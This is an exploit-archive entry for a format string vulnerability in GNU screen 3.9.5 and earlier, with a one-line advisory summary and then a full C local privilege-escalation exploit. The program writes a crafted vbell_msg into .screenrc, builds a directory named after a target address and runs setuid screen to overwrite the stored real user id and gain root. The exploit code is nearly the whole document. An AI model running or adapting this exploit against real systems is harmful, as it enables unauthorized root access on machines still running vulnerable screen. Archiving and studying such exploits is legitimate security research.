Juergen Weigert screen 3.9 User Supplied Format String Vulnerability

source: http://www.securityfocus.com/bid/1641/info Various format string vulnerabilities exist in versions 3.9.5 and prior of 'screen' that may allow local users to elevate their privileges. If screen is setuid root, it is possible to alter the contents of the variable which stores the user id. /**************************************************************** * * * Screen 3.7.6 (and others) local exploit * * by IhaQueR@IRCnet * * * ****************************************************************/ #include <stdio.h> #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #define TMPBUFSIZE 4096 #define SCREENRC "/usr/home/paul/.screenrc" #define SCREEN "/usr/bin/screen" #define AREP 1 #define BUFOFFSET 324 #define PADDING 3 #define WRITEADDR 0x807beb4 // some offsets grabbed from 3.7.6 // &real_uid, &real_gid, &eff_uid, &eff_gid own_uid // 0x807beb4 0x807ab1c 0x807aab0 0x807aab4 0x807bea4 // + 64 +64 int main(int argc, char** argv) { int i, l; FILE* fp; char buf[TMPBUFSIZE]; unsigned char adr[(AREP+2)*sizeof(unsigned)]; unsigned char* cp; unsigned a, *p; if(argc != 2) { printf("USAGE %s offset\n", argv[0]); return 0; } l = atoi(argv[1]); printf("creating magic string\n"); bzero(buf, TMPBUFSIZE); /* consume stack arguments */ for(i=0; i<BUFOFFSET/4; i++) strcat(buf, "%.0d"); /* finally write to adress */ // for(i=0;i<9; i++) strcat(buf, "%n"); if(fp = fopen(SCREENRC, "w")) { fprintf(fp, "vbell on\n"); fprintf(fp, "vbell_msg '%s'\n", buf); fprintf(fp, "vbellwait 11111\n"); fclose(fp); } else { printf("ERROR: opening %s\n", SCREENRC); } /* now create the magic dir... */ bzero(adr, (AREP+2)*sizeof(unsigned)); cp = adr; for(i=0; i<PADDING; i++) { *cp = 'p'; cp++; } p = (unsigned*) cp; a = WRITEADDR; a = a + l; for(i=0; i<AREP; i++) { *p = a; // a += 4; p++; } *p = 0; /* make dir and call screen */ mkdir((char*)adr, 0x777); chdir((char*)adr); argv[1] = NULL; execv(SCREEN, argv); }